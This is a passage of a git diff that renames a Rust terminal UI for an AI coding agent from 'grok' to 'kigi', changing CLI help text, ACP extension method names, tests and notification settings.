+            r#"curcontext="${curcontext%:*:*}:kigi-command-$line[2]:""#,
+            r#"curcontext="${curcontext%:*:*}:kigi-command-$line[1]:""#,
         ),
         (r#"case $line[2] in"#, r#"case $line[1] in"#),
     ] {
@@ -80,15 +80,15 @@ mod tests {
 
     /// Generate the zsh completion script exactly like `run` does.
     fn zsh_script() -> String {
-        let mut cmd = PagerArgs::command().name("grok");
+        let mut cmd = PagerArgs::command().name("kigi");
         let mut buf = Vec::new();
-        generate(Shell::Zsh, &mut cmd, "grok", &mut buf);
+        generate(Shell::Zsh, &mut cmd, "kigi", &mut buf);
         String::from_utf8(buf).expect("completion script is UTF-8")
     }
 
     // The optional `[PROMPT]` positional (app/cli.rs) makes clap_complete emit
     // a `::prompt` slot before the subcommand slot and dispatch on `$line[2]`,
-    // so `grok worktree <TAB>` re-offered every top-level command (upstream
+    // so `kigi worktree <TAB>` re-offered every top-level command (upstream
     // clap-rs/clap#6282).
     #[test]
     fn zsh_completions_drop_prompt_slot_and_dispatch_on_line_1() {
@@ -112,15 +112,15 @@ mod tests {
             "root dispatch must be shifted to $line[1]"
         );
         assert!(
-            fixed.contains(r#"curcontext="${curcontext%:*:*}:grok-command-$line[1]:""#),
+            fixed.contains(r#"curcontext="${curcontext%:*:*}:kigi-command-$line[1]:""#),
             "root dispatch context must use $line[1]"
         );
         // Subcommand dispatch blocks (already on $line[1]) must survive.
         assert!(
-            fixed.contains("grok-worktree-command-$line[1]"),
+            fixed.contains("kigi-worktree-command-$line[1]"),
             "nested subcommand dispatch must be untouched"
         );
         // The subcommand list itself must still be offered at the root.
-        assert!(fixed.contains("_grok_commands"), "root command list intact");
+        assert!(fixed.contains("_kigi_commands"), "root command list intact");
     }
 }
diff --git a/crates/codegen/kigi-tui/src/diagnostics.rs b/crates/codegen/kigi-tui/src/diagnostics.rs
index f07f2f1..d90ed05 100644
--- a/crates/codegen/kigi-tui/src/diagnostics.rs
+++ b/crates/codegen/kigi-tui/src/diagnostics.rs
@@ -2060,7 +2060,7 @@ mod tests {
     #[test]
     fn notification_none_protocol_no_warnings() {
         let ctx = TerminalContext {
-            brand: TerminalName::GrokDesktop,
+            brand: TerminalName::KigiDesktop,
             ..Default::default()
         };
         let query = FakeTmuxQuery::healthy_modern();
@@ -2084,7 +2084,7 @@ mod tests {
         assert!(supports_focus_tracking(TerminalName::Terminator));
         assert!(supports_focus_tracking(TerminalName::WarpTerminal));
         assert!(supports_focus_tracking(TerminalName::VsCode));
-        assert!(supports_focus_tracking(TerminalName::GrokDesktop));
+        assert!(supports_focus_tracking(TerminalName::KigiDesktop));
         assert!(!supports_focus_tracking(TerminalName::AppleTerminal));
         assert!(!supports_focus_tracking(TerminalName::Unknown));
         assert!(!supports_focus_tracking(TerminalName::Otty));
@@ -2133,7 +2133,7 @@ mod tests {
                 line.starts_with(&format!("  themes       {n}/{total}: ")),
                 "level {level:?}: {line}"
             );
-            assert!(line.contains("groknight") && line.contains("grokday"));
+            assert!(line.contains("kiginight") && line.contains("kigiday"));
             assert!(!line.contains("tokyonight"));
         }
     }
diff --git a/crates/codegen/kigi-tui/src/git_info.rs b/crates/codegen/kigi-tui/src/git_info.rs
index 8bc23e1..35554da 100644
--- a/crates/codegen/kigi-tui/src/git_info.rs
+++ b/crates/codegen/kigi-tui/src/git_info.rs
@@ -18,7 +18,7 @@ use crate::terminal::{TerminalName, terminal_context};
 /// Fed from three places, all off the render path:
 ///   - [`cwd_git_info_lazy`] — a lazy, throttled refresh when a view reads a cwd.
 ///   - [`populate_from_cwd_async`] — an eager warm at startup / on a cwd change.
-///   - [`update_from_notification`] — the `x.ai/git_head_changed` ACP
+///   - [`update_from_notification`] — the `kigi/git_head_changed` ACP
 ///     notification, so a branch switch inside an agent reflects immediately
 ///     instead of waiting out [`CWD_GIT_REFRESH_TTL`].
 type CwdCacheEntry = (Option<CwdGitInfo>, Instant);
diff --git a/crates/codegen/kigi-tui/src/headless.rs b/crates/codegen/kigi-tui/src/headless.rs
index cb9b3c0..a5f78f5 100644
--- a/crates/codegen/kigi-tui/src/headless.rs
+++ b/crates/codegen/kigi-tui/src/headless.rs
@@ -1,7 +1,7 @@
-//! Headless single-turn mode (`grok -p "prompt"`).
+//! Headless single-turn mode (`kigi -p "prompt"`).
 //!
 //! Runs the agent in-process via
-//! `spawn_grok_shell`, sends the ACP lifecycle (init → auth → session → prompt),
+//! `spawn_kigi_shell`, sends the ACP lifecycle (init → auth → session → prompt),
 //! streams text to stdout, and exits cleanly via `CancellationToken`.
 
 use std::collections::HashSet;
@@ -24,7 +24,7 @@ use kigi_shell::sampling::types::{
 use kigi_shell::util::config as cli_config;
 
 use crate::acp::model_state::{EffortTokenError, ModelState};
-use crate::acp::spawn::spawn_grok_shell;
+use crate::acp::spawn::spawn_kigi_shell;
 use crate::client_identity::{HEADLESS_CLIENT_TYPE, PAGER_CLIENT_VERSION};
 
 // ── Types ────────────────────────────────────────────────────────────────
@@ -618,7 +618,7 @@ async fn open_session(
                     let mut m = acp::Meta::new();
                     m.insert("noReplay".into(), serde_json::Value::Bool(true));
                     if let Some(true) = restore_code {
-                        m.insert("x.ai/restore_code".into(), serde_json::Value::Bool(true));
+                        m.insert("kigi/restore_code".into(), serde_json::Value::Bool(true));
                     }
                     Some(m)
                 }),
@@ -694,7 +694,7 @@ async fn fork_then_open(
     let parent_is_worktree = parent_session_is_worktree(parent_id, &write_cwd);
     let payload = fork_session_params(parent_id, &write_cwd, new_id, parent_is_worktree);
     let req = acp::ExtRequest::new(
-        "x.ai/session/fork",
+        "kigi/session/fork",
         serde_json::value::to_raw_value(&payload)
             .expect("serialize fork params")
             .into(),
@@ -796,7 +796,7 @@ async fn apply_headless_model_and_effort(
     .map_err(|e| {
         if let Some(name) = model_name {
             anyhow::anyhow!(
-                "Couldn't set model '{}': {}. Run 'grok models' to see available models.",
+                "Couldn't set model '{}': {}. Run 'kigi models' to see available models.",
                 name,
                 e
             )
@@ -916,7 +916,7 @@ pub async fn run_single_turn(
 
     let cancel = CancellationToken::new();
     let memory_config = agent_config.memory_config.clone();
-    let spawned = match spawn_grok_shell(agent_config, &cancel, memory_config).await {
+    let spawned = match spawn_kigi_shell(agent_config, &cancel, memory_config).await {
         Ok(s) => s,
         Err(e) => {
             let msg = format!("Couldn't start session: {e}");
@@ -1121,9 +1121,9 @@ pub async fn run_single_turn(
     let mut ttf_logged = false;
     let mut prompt_fut = Box::pin(acp_send(request, &acp_tx));
     let mut prompt_result = None;
-    // Pending background work: bash/monitor via x.ai/task_backgrounded +
+    // Pending background work: bash/monitor via kigi/task_backgrounded +
     // task_completed; background subagents via SubagentSpawned + SubagentFinished
-    // on x.ai/session_notification (prefixed `subagent:{id}` in pending_bg).
+    // on kigi/session_notification (prefixed `subagent:{id}` in pending_bg).
     // Tracked regardless of wait_for_background so the exit reaper always
     // sees still-running work; the flag only gates waiting.
     // No idle/quiet polling and no wait for server-side auto-wake text — exit
@@ -1336,13 +1336,13 @@ fn reap_request_for_key(
 ) -> serde_json::Result<acp::ExtRequest> {
     let (method, params) = match key.strip_prefix("subagent:") {
         Some(id) => (
-            "x.ai/subagent/cancel",
+            "kigi/subagent/cancel",
             serde_json::value::to_raw_value(&CancelSubagentRequest {
                 subagent_id: id.to_string(),
             })?,
         ),
         None => (
-            "x.ai/task/kill",
+            "kigi/task/kill",
             serde_json::value::to_raw_value(&KillTaskRequest {
                 session_id: session_id.0.to_string(),
                 task_id: key.to_string(),
@@ -1557,7 +1557,7 @@ fn handle_ext_notification(
     let method = notif.request.method.as_ref();
 
     // Background task lifecycle uses dedicated methods (not session_notification).
-    if method == "x.ai/task_backgrounded" {
+    if method == "kigi/task_backgrounded" {
         #[derive(serde::Deserialize)]
         struct TaskBgEnvelope {
             update: TaskBgUpdate,
@@ -1587,7 +1587,7 @@ fn handle_ext_notification(
         return ExtEvent::None;
     }
 
-    if method == "x.ai/task_completed" {
+    if method == "kigi/task_completed" {
         #[derive(serde::Deserialize)]
         struct TaskDoneEnvelope {
             update: TaskDoneUpdate,
@@ -1615,12 +1615,12 @@ fn handle_ext_notification(
         return ExtEvent::None;
     }
 
-    if method == "x.ai/monitor_event" {
+    if method == "kigi/monitor_event" {
         return ExtEvent::MonitorEvent;
     }
 
     match method {
-        "x.ai/session_notification" | "x.ai/session/update" => {}
+        "kigi/session_notification" | "kigi/session/update" => {}
         _ => return ExtEvent::None,
     }
 
@@ -1800,7 +1800,7 @@ mod tests {
     fn reap_request_for_task_kills_with_session_scope() {
         let session_id = acp::SessionId::new("sess-1");
         let request = super::reap_request_for_key("task-42", &session_id).unwrap();
-        assert_eq!(request.method.as_ref(), "x.ai/task/kill");
+        assert_eq!(request.method.as_ref(), "kigi/task/kill");
         let params: serde_json::Value = serde_json::from_str(request.params.get()).unwrap();
         assert_eq!(params["sessionId"], "sess-1");
         assert_eq!(params["taskId"], "task-42");
@@ -1810,7 +1810,7 @@ mod tests {
     fn reap_request_for_subagent_cancels_with_stripped_id() {
         let session_id = acp::SessionId::new("sess-1");
         let request = super::reap_request_for_key("subagent:sub-7", &session_id).unwrap();
-        assert_eq!(request.method.as_ref(), "x.ai/subagent/cancel");
+        assert_eq!(request.method.as_ref(), "kigi/subagent/cancel");
         let params: serde_json::Value = serde_json::from_str(request.params.get()).unwrap();
         assert_eq!(params["subagentId"], "sub-7");
     }
@@ -2009,10 +2009,10 @@ mod tests {
     #[test]
     fn headless_task_backgrounded_parses_task_id() {
         // `make_ext_notif` wraps the arg under `update`, so pass
-        // the inner update object (matching the real `x.ai/task_backgrounded`
+        // the inner update object (matching the real `kigi/task_backgrounded`
         // wire shape: `{ "update": { "sessionUpdate": ..., "task_id": ... } }`).
         let notif = make_ext_notif(
-            "x.ai/task_backgrounded",
+            "kigi/task_backgrounded",
             serde_json::json!({
                 "sessionUpdate": "task_backgrounded",
                 "task_id": "task-abc",
@@ -2027,7 +2027,7 @@ mod tests {
     #[test]
     fn headless_task_backgrounded_with_monitor_description_is_monitor() {
         let notif = make_ext_notif(
-            "x.ai/task_backgrounded",
+            "kigi/task_backgrounded",
             serde_json::json!({
                 "sessionUpdate": "task_backgrounded",
                 "task_id": "mon-1",
@@ -2048,7 +2048,7 @@ mod tests {
         // this test guards against a future `rename_all = "camelCase"` on
         // `TaskSnapshot` silently turning waiting into a no-op.
         let notif = make_ext_notif(
-            "x.ai/task_completed",
+            "kigi/task_completed",
             serde_json::json!({
                 "sessionUpdate": "task_completed",
                 "task_snapshot": { "task_id": "task-abc" }
@@ -2063,7 +2063,7 @@ mod tests {
     #[test]
     fn headless_subagent_spawned_and_finished_parse() {
         let spawned = make_ext_notif(
-            "x.ai/session_notification",
+            "kigi/session_notification",
             serde_json::json!({
                 "sessionUpdate": "subagent_spawned",
                 "subagent_id": "sub-1",
@@ -2078,7 +2078,7 @@ mod tests {
             ExtEvent::SubagentSpawned { subagent_id } if subagent_id == "sub-1"
         ));
         let finished = make_ext_notif(
-            "x.ai/session_notification",
+            "kigi/session_notification",
             serde_json::json!({
                 "sessionUpdate": "subagent_finished",
                 "subagent_id": "sub-1",
@@ -2107,7 +2107,7 @@ mod tests {
         let raw = serde_json::value::to_raw_value(&payload).unwrap();
         let (tx, _rx) = tokio::sync::oneshot::channel();
         let notif = kigi_acp_lib::AcpArgs {
-            request: acp::ExtNotification::new("x.ai/other", raw.into()),
+            request: acp::ExtNotification::new("kigi/other", raw.into()),
             response_tx: tx,
         }
         .boxed();
diff --git a/crates/codegen/kigi-tui/src/input/mouse.rs b/crates/codegen/kigi-tui/src/input/mouse.rs
index 99a672b..a7896f7 100644
--- a/crates/codegen/kigi-tui/src/input/mouse.rs
+++ b/crates/codegen/kigi-tui/src/input/mouse.rs
@@ -340,7 +340,7 @@ impl ScrollConfig {
                 | TerminalName::Windsurf
                 | TerminalName::Zed => 1,
                 TerminalName::Kitty => 3,
-                TerminalName::GrokDesktop
+                TerminalName::KigiDesktop
                 | TerminalName::Vte
                 | TerminalName::Terminator
                 | TerminalName::WindowsTerminal
diff --git a/crates/codegen/kigi-tui/src/lib.rs b/crates/codegen/kigi-tui/src/lib.rs
index d512b9e..3759548 100644
--- a/crates/codegen/kigi-tui/src/lib.rs
+++ b/crates/codegen/kigi-tui/src/lib.rs
@@ -1,4 +1,4 @@
-//! kigi-tui — Grok Build TUI.
+//! kigi-tui — Kigi TUI.
 //!
 //! A clean-room implementation built on the v3 pager rendering engine.
 
diff --git a/crates/codegen/kigi-tui/src/mcp_cmd.rs b/crates/codegen/kigi-tui/src/mcp_cmd.rs
index b241bed..6135989 100644
--- a/crates/codegen/kigi-tui/src/mcp_cmd.rs
+++ b/crates/codegen/kigi-tui/src/mcp_cmd.rs
@@ -1,4 +1,4 @@
-//! `grok mcp` — manage MCP server configurations from the command line.
+//! `kigi mcp` — manage MCP server configurations from the command line.
 
 use std::collections::HashMap;
 use std::path::{Path, PathBuf};
@@ -7,24 +7,24 @@ use anyhow::{Result, bail};
 use clap::{Subcommand, ValueEnum};
 use kigi_shell::util::config::{McpServerConfig, McpServerTransportConfig};
 
-use crate::util::display_user_grok_path;
+use crate::util::display_user_kigi_path;
 
 const ADD_AFTER_HELP: &str = "\
 Examples:
   # Add a stdio server (everything after -- is the server command)
-  grok mcp add xcode -- xcrun mcpbridge
+  kigi mcp add xcode -- xcrun mcpbridge
 
   # Add a stdio server with environment variables
-  grok mcp add postgres -e DATABASE_URL=postgres://localhost/mydb -- npx -y @modelcontextprotocol/server-postgres
+  kigi mcp add postgres -e DATABASE_URL=postgres://localhost/mydb -- npx -y @modelcontextprotocol/server-postgres
 
   # Add a remote HTTP server
-  grok mcp add --transport http sentry https://mcp.sentry.dev/mcp
+  kigi mcp add --transport http sentry https://mcp.sentry.dev/mcp
 
   # Add a remote server with an authentication header
-  grok mcp add --transport http api https://mcp.example.com/mcp --header \"Authorization: Bearer YOUR_TOKEN\"
+  kigi mcp add --transport http api https://mcp.example.com/mcp --header \"Authorization: Bearer YOUR_TOKEN\"
 
   # Add to the project config (./.kigi/config.toml) instead of ~/.kigi/config.toml
-  grok mcp add --scope project github -- npx -y @modelcontextprotocol/server-github";
+  kigi mcp add --scope project github -- npx -y @modelcontextprotocol/server-github";
 
 #[derive(Debug, clap::Args, Clone)]
 pub struct McpArgs {
@@ -108,7 +108,7 @@ pub struct AddArgs {
     command_or_url: Option<String>,
 
     /// Arguments passed to the server command. Place them after `--` so
-    /// flags such as `-y` are passed to the server instead of grok.
+    /// flags such as `-y` are passed to the server instead of kigi.
     #[arg(value_name = "ARGS")]
     args: Vec<String>,
 
@@ -191,7 +191,7 @@ fn run_list(json: bool) -> Result<()> {
             .collect();
         println!("{}", serde_json::to_string_pretty(&payload)?);
     } else if servers.is_empty() {
-        println!("No MCP servers configured. Run `grok mcp add --help` to get started.");
+        println!("No MCP servers configured. Run `kigi mcp add --help` to get started.");
     } else {
         for (name, (config, scope)) in &servers {
             let transport = match &config.transport {
@@ -316,7 +316,7 @@ fn resolve_add(args: &AddArgs) -> Result<ResolvedAdd> {
         McpTransport::Stdio => {
             let Some(command) = source else {
                 bail!(
-                    "A command is required for stdio servers. Usage: grok mcp add <name> -- <command> [args...]"
+                    "A command is required for stdio servers. Usage: kigi mcp add <name> -- <command> [args...]"
                 );
             };
             if !args.header.is_empty() {
@@ -350,7 +350,7 @@ fn resolve_add(args: &AddArgs) -> Result<ResolvedAdd> {
                         format!("http://{command}")
                     };
                 warnings.push(format!(
-                    "Warning: '{command}' looks like a URL, but it is being added as a stdio command because --transport was not specified.\nFor a remote server, use: grok mcp add --transport http {} {suggested_url}",
+                    "Warning: '{command}' looks like a URL, but it is being added as a stdio command because --transport was not specified.\nFor a remote server, use: kigi mcp add --transport http {} {suggested_url}",
                     args.name
                 ));
             }
@@ -374,7 +374,7 @@ fn resolve_add(args: &AddArgs) -> Result<ResolvedAdd> {
             };
             let Some(url) = source else {
                 bail!(
-                    "A URL is required for {label} servers. Usage: grok mcp add --transport {label} <name> <url>"
+                    "A URL is required for {label} servers. Usage: kigi mcp add --transport {label} <name> <url>"
                 );
             };
             if !url.starts_with("http://") && !url.starts_with("https://") {
@@ -488,7 +488,7 @@ fn scope_target(scope: McpScope) -> PathBuf {
 /// Display form of a scope's config file path.
 fn scope_display(scope: McpScope, path: &Path) -> String {
     match scope {
-        McpScope::User => display_user_grok_path("config.toml"),
+        McpScope::User => display_user_kigi_path("config.toml"),
         McpScope::Project => path.display().to_string(),
     }
 }
@@ -567,9 +567,9 @@ async fn run_remove(name: &str, requested_scope: Option<McpScope>) -> Result<()>
         }
         Err(RemoveError::Ambiguous { project_path }) => {
             eprintln!("MCP server '{name}' exists in multiple scopes:");
-            eprintln!("  user: {}", display_user_grok_path("config.toml"));
+            eprintln!("  user: {}", display_user_kigi_path("config.toml"));
             eprintln!("  project: {}", project_path.display());
-            eprintln!("Specify which one to remove, e.g.: grok mcp remove {name} --scope project");
+            eprintln!("Specify which one to remove, e.g.: kigi mcp remove {name} --scope project");
             std::process::exit(1);
         }
     };
@@ -649,7 +649,7 @@ mod tests {
         // The invocation from the original report: a stdio server whose
         // command follows `--`, with an explicit transport.
         let add = parse_add(&[
-            "grok",
+            "kigi",
             "mcp",
             "add",
             "--transport",
@@ -676,7 +676,7 @@ mod tests {
     #[test]
     fn add_passes_hyphen_flags_and_repeated_env_to_server() {
         let add = parse_add(&[
-            "grok",
+            "kigi",
             "mcp",
             "add",
             "fs",
@@ -709,7 +709,7 @@ mod tests {
 
     #[test]
     fn add_hyphen_flag_without_double_dash_is_rejected() {
-        let err = PagerArgs::try_parse_from(["grok", "mcp", "add", "fs", "npx", "-y"])
+        let err = PagerArgs::try_parse_from(["kigi", "mcp", "add", "fs", "npx", "-y"])
             .expect_err("hyphen args must be escaped with --");
         assert_eq!(err.kind(), clap::error::ErrorKind::UnknownArgument);
     }
@@ -717,7 +717,7 @@ mod tests {
     #[test]
     fn add_http_with_headers() {
         let add = parse_add(&[
-            "grok",
+            "kigi",
             "mcp",
             "add",
             "--transport",
@@ -751,7 +751,7 @@ mod tests {
     #[test]
     fn add_sse_sets_transport_type() {
         let add = parse_add(&[
-            "grok",
+            "kigi",
             "mcp",
             "add",
             "--transport",
@@ -773,7 +773,7 @@ mod tests {
     fn add_http_transport_with_non_url_command_is_rejected() {
         // Previously this silently stored `xcrun` as an HTTP URL.
         let add = parse_add(&[
-            "grok",
+            "kigi",
             "mcp",
             "add",
             "--transport",
@@ -791,7 +791,7 @@ mod tests {
     fn add_explicit_stdio_keeps_url_looking_command_as_stdio() {
         // Previously URL sniffing overrode an explicit stdio transport.
         let add = parse_add(&[
-            "grok",
+            "kigi",
             "mcp",
             "add",
             "--transport",
@@ -810,7 +810,7 @@ mod tests {
 
     #[test]
     fn add_default_transport_warns_on_url_looking_command() {
-        let add = parse_add(&["grok", "mcp", "add", "api", "https://mcp.example.com/mcp"]);
+        let add = parse_add(&["kigi", "mcp", "add", "api", "https://mcp.example.com/mcp"]);
         let resolved = resolve_add(&add).expect("defaults to stdio with a warning");
         assert!(matches!(
             resolved.transport,
@@ -821,7 +821,7 @@ mod tests {
 
         // Scheme-less commands get http:// prepended so the suggested
         // command passes URL validation verbatim.
-        let add = parse_add(&["grok", "mcp", "add", "local", "localhost:3000"]);
+        let add = parse_add(&["kigi", "mcp", "add", "local", "localhost:3000"]);
         let resolved = resolve_add(&add).expect("localhost command warns");
         assert!(
             resolved.warnings[0].contains("--transport http local http://localhost:3000"),
@@ -833,21 +833,21 @@ mod tests {
     #[test]
     fn add_scope_project_parses_and_invalid_scope_is_rejected() {
         let add = parse_add(&[
-            "grok", "mcp", "add", "-s", "project", "fs", "--", "npx", "pkg",
+            "kigi", "mcp", "add", "-s", "project", "fs", "--", "npx", "pkg",
         ]);
         assert_eq!(add.scope, McpScope::Project);
 
         let err = PagerArgs::try_parse_from([
-            "grok", "mcp", "add", "-s", "local", "fs", "--", "npx", "pkg",
+            "kigi", "mcp", "add", "-s", "local", "fs", "--", "npx", "pkg",
         ])
-        .expect_err("local is not a grok scope");
+        .expect_err("local is not a kigi scope");
         assert_eq!(err.kind(), clap::error::ErrorKind::InvalidValue);
     }
 
     #[test]
     fn add_legacy_flag_forms_still_parse() {
         let add = parse_add(&[
-            "grok",
+            "kigi",
             "mcp",
             "add",
             "oldfs",
@@ -867,7 +867,7 @@ mod tests {
         }
 
         let add = parse_add(&[
-            "grok",
+            "kigi",
             "mcp",
             "add",
             "remote",
@@ -893,7 +893,7 @@ mod tests {
     #[test]
     fn add_legacy_command_conflicts_with_positional() {
         let err = PagerArgs::try_parse_from([
-            "grok",
+            "kigi",
             "mcp",
             "add",
             "fs",
@@ -910,7 +910,7 @@ mod tests {
         // Pre-parity --env was greedy (`--env A=1 B=2`); with --command the
         // stray pair now lands in the positional and trips the source group.
         let err = PagerArgs::try_parse_from([
-            "grok",
+            "kigi",
             "mcp",
             "add",
             "github",
@@ -928,7 +928,7 @@ mod tests {
         // Without --command the stray pair used to be silently written as the
         // command; resolve_add must reject it with migration guidance.
         let add = parse_add(&[
-            "grok", "mcp", "add", "pg", "--env", "A=1", "B=2", "--", "npx", "-y", "server",
+            "kigi", "mcp", "add", "pg", "--env", "A=1", "B=2", "--", "npx", "-y", "server",
         ]);
         let err = resolve_add(&add).expect_err("env-shaped command must fail");
         assert!(err.to_string().contains("-e A=1 -e B=2"), "got: {err}");
@@ -939,7 +939,7 @@ mod tests {
         // --url with an explicit stdio transport used to silently store the
         // URL as a stdio command.
         let add = parse_add(&[
-            "grok",
+            "kigi",
             "mcp",
             "add",
             "foo",
@@ -953,7 +953,7 @@ mod tests {
 
         // --type without --url used to be silently ignored.
         let add = parse_add(&[
-            "grok",
+            "kigi",
             "mcp",
             "add",
             "bar",
@@ -967,7 +967,7 @@ mod tests {
 
     #[test]
     fn add_validates_name_env_and_headers() {
-        let add = parse_add(&["grok", "mcp", "add", "fs", "-e", "NOT_A_PAIR", "--", "npx"]);
+        let add = parse_add(&["kigi", "mcp", "add", "fs", "-e", "NOT_A_PAIR", "--", "npx"]);
         let err = resolve_add(&add).expect_err("malformed env must fail");
         assert!(
             err.to_string()
@@ -976,7 +976,7 @@ mod tests {
         );
 
         let add = parse_add(&[
-            "grok",
+            "kigi",
             "mcp",
             "add",
             "--transport",
@@ -992,19 +992,19 @@ mod tests {
             "got: {err}"
         );
 
-        let add = parse_add(&["grok", "mcp", "add", "bad name!", "--", "npx"]);
+        let add = parse_add(&["kigi", "mcp", "add", "bad name!", "--", "npx"]);
         let err = resolve_add(&add).expect_err("invalid name must fail");
         assert!(err.to_string().contains("Invalid name"), "got: {err}");
     }
 
     #[test]
     fn add_rejects_mismatched_options_per_transport() {
-        let add = parse_add(&["grok", "mcp", "add", "fs", "-H", "X: y", "--", "npx"]);
+        let add = parse_add(&["kigi", "mcp", "add", "fs", "-H", "X: y", "--", "npx"]);
         let err = resolve_add(&add).expect_err("--header is remote-only");
         assert!(err.to_string().contains("--header"), "got: {err}");
 
         let add = parse_add(&[
-            "grok",
+            "kigi",
             "mcp",
             "add",
             "--transport",
@@ -1018,7 +1018,7 @@ mod tests {
         assert!(err.to_string().contains("--env"), "got: {err}");
 
         let add = parse_add(&[
-            "grok",
+            "kigi",
             "mcp",
             "add",
             "--transport",
@@ -1037,21 +1037,21 @@ mod tests {
 
     #[test]
     fn add_requires_a_source_for_each_transport() {
-        let add = parse_add(&["grok", "mcp", "add", "fs"]);
+        let add = parse_add(&["kigi", "mcp", "add", "fs"]);
         let err = resolve_add(&add).expect_err("stdio without a command must fail");
         assert!(
             err.to_string().contains("command is required"),
             "got: {err}"
         );
 
-        let add = parse_add(&["grok", "mcp", "add", "--transport", "http", "api"]);
+        let add = parse_add(&["kigi", "mcp", "add", "--transport", "http", "api"]);
         let err = resolve_add(&add).expect_err("http without a URL must fail");
         assert!(err.to_string().contains("URL is required"), "got: {err}");
     }
 
     #[test]
     fn remove_accepts_optional_scope() {
-        let args = PagerArgs::try_parse_from(["grok", "mcp", "remove", "fs", "-s", "project"])
+        let args = PagerArgs::try_parse_from(["kigi", "mcp", "remove", "fs", "-s", "project"])
             .expect("remove with scope parses");
         match args.command {
             Some(Command::Mcp(McpArgs {
diff --git a/crates/codegen/kigi-tui/src/memory_trace.rs b/crates/codegen/kigi-tui/src/memory_trace.rs
index a700cab..3b03fb5 100644
--- a/crates/codegen/kigi-tui/src/memory_trace.rs
+++ b/crates/codegen/kigi-tui/src/memory_trace.rs
@@ -544,7 +544,7 @@ fn first_threshold_from_env() -> u64 {
 ///
 /// The trace file is created lazily on the first event; the first sample is
 /// taken after one full interval, so short-lived CLI invocations
-/// (`grok --version`, `grok trace …`) leave no files behind.
+/// (`kigi --version`, `kigi trace …`) leave no files behind.
 pub fn start(dir: PathBuf) {
     if !enabled_by_env() {
         return;
@@ -569,7 +569,7 @@ pub fn start(dir: PathBuf) {
     // Detached sampler; the thread holds no locks across sleeps and dies
     // with the process. Named for `sample`/Instruments visibility.
     let _ = std::thread::Builder::new()
-        .name("grok-memtrace".into())
+        .name("kigi-memtrace".into())
         .spawn(move || {
             let mut wrote_start = false;
             loop {
diff --git a/crates/codegen/kigi-tui/src/models.rs b/crates/codegen/kigi-tui/src/models.rs
index e3aea66..2da4a1f 100644
--- a/crates/codegen/kigi-tui/src/models.rs
+++ b/crates/codegen/kigi-tui/src/models.rs
@@ -1,4 +1,4 @@
-//! `grok models` subcommand.
+//! `kigi models` subcommand.
 
 use anyhow::Result;
 use kigi_shell::agent::config::Config as AgentConfig;
@@ -20,7 +20,7 @@ pub async fn list_available_models(agent_config: &AgentConfig) -> Result<()> {
     println!();
 
     let cancel = CancellationToken::new();
-    let spawned = crate::acp::spawn::spawn_grok_shell(agent_config.clone(), &cancel, None).await?;
+    let spawned = crate::acp::spawn::spawn_kigi_shell(agent_config.clone(), &cancel, None).await?;
 
     let state = list_models(&spawned.channel.tx, PAGER_CLIENT_TYPE, PAGER_CLIENT_VERSION).await?;
 
diff --git a/crates/codegen/kigi-tui/src/notifications/config.rs b/crates/codegen/kigi-tui/src/notifications/config.rs
index f20734a..4c9678e 100644
--- a/crates/codegen/kigi-tui/src/notifications/config.rs
+++ b/crates/codegen/kigi-tui/src/notifications/config.rs
@@ -80,7 +80,7 @@ impl Default for TitleConfig {
                 TitleItem::Spinner,
                 TitleItem::Activity,
                 TitleItem::SessionName,
-                TitleItem::Grok,
+                TitleItem::Kigi,
             ],
         }
     }
@@ -95,7 +95,7 @@ pub enum TitleItem {
     Cwd,
     Model,
     TurnTimer,
-    Grok,
+    Kigi,
     ActionRequired,
 }
 
@@ -177,11 +177,11 @@ session_recap_threshold_secs = 30
 # Set the terminal/tab title to reflect agent state.
 enabled = true
 # Items shown in the title. Options: action-required, spinner, activity,
-# session-name, cwd, model, turn-timer, grok
-items = [\"action-required\", \"spinner\", \"activity\", \"session-name\", \"grok\"]
+# session-name, cwd, model, turn-timer, kigi
+items = [\"action-required\", \"spinner\", \"activity\", \"session-name\", \"kigi\"]
 
 # [[ui.notifications.hooks]]
-# command = \"terminal-notifier -title 'Grok' -message '$KIGI_MESSAGE'\"
+# command = \"terminal-notifier -title 'Kigi' -message '$KIGI_MESSAGE'\"
 # events = [\"turn_complete\", \"approval_required\"]
 # only_unfocused = true
 # timeout_secs = 10
@@ -210,7 +210,7 @@ mod tests {
             session_recap_threshold_secs: 90,
             title: TitleConfig {
                 enabled: false,
-                items: vec![TitleItem::Grok, TitleItem::Cwd],
+                items: vec![TitleItem::Kigi, TitleItem::Cwd],
             },
             hooks: vec![NotificationHook {
                 command: "notify-send".into(),
diff --git a/crates/codegen/kigi-tui/src/notifications/hooks.rs b/crates/codegen/kigi-tui/src/notifications/hooks.rs
index 242014f..35d284c 100644
--- a/crates/codegen/kigi-tui/src/notifications/hooks.rs
+++ b/crates/codegen/kigi-tui/src/notifications/hooks.rs
@@ -94,7 +94,7 @@ mod tests {
     fn test_event() -> NotificationEvent {
         NotificationEvent {
             kind: NotificationEventKind::TurnComplete,
-            title: "Grok".into(),
+            title: "Kigi".into(),
             body: "test body payload".into(),
             session_id: Some("test-session-123".into()),
         }
diff --git a/crates/codegen/kigi-tui/src/notifications/mod.rs b/crates/codegen/kigi-tui/src/notifications/mod.rs
index 056de16..8511119 100644
--- a/crates/codegen/kigi-tui/src/notifications/mod.rs
+++ b/crates/codegen/kigi-tui/src/notifications/mod.rs
@@ -204,7 +204,7 @@ impl NotificationService {
     }
 
     pub fn shutdown(&mut self) {
-        // Reset the tab title back to "grok" so it doesn't linger on the
+        // Reset the tab title back to "kigi" so it doesn't linger on the
         // last activity label after exit.
         let title_esc = self.title_manager.reset();
         kigi_shell::util::with_locked_stderr(|stderr| {
@@ -471,7 +471,7 @@ mod tests {
         });
         svc.notify(NotificationEvent {
             kind: NotificationEventKind::TurnComplete,
-            title: "Grok".into(),
+            title: "Kigi".into(),
             body: "Turn complete".into(),
             session_id: Some("test-session".into()),
         });
@@ -486,7 +486,7 @@ mod tests {
         });
         svc.notify(NotificationEvent {
             kind: NotificationEventKind::SessionReady,
-            title: "Grok".into(),
+            title: "Kigi".into(),
             body: "Session ready".into(),
             session_id: None,
         });
@@ -743,7 +743,7 @@ mod tests {
         // crash regardless of suppression state.
         svc.notify(NotificationEvent {
             kind: NotificationEventKind::TurnComplete,
-            title: "Grok".into(),
+            title: "Kigi".into(),
             body: "Done".into(),
             session_id: None,
         });
diff --git a/crates/codegen/kigi-tui/src/notifications/progress.rs b/crates/codegen/kigi-tui/src/notifications/progress.rs
index b0ff584..d9cefd5 100644
--- a/crates/codegen/kigi-tui/src/notifications/progress.rs
+++ b/crates/codegen/kigi-tui/src/notifications/progress.rs
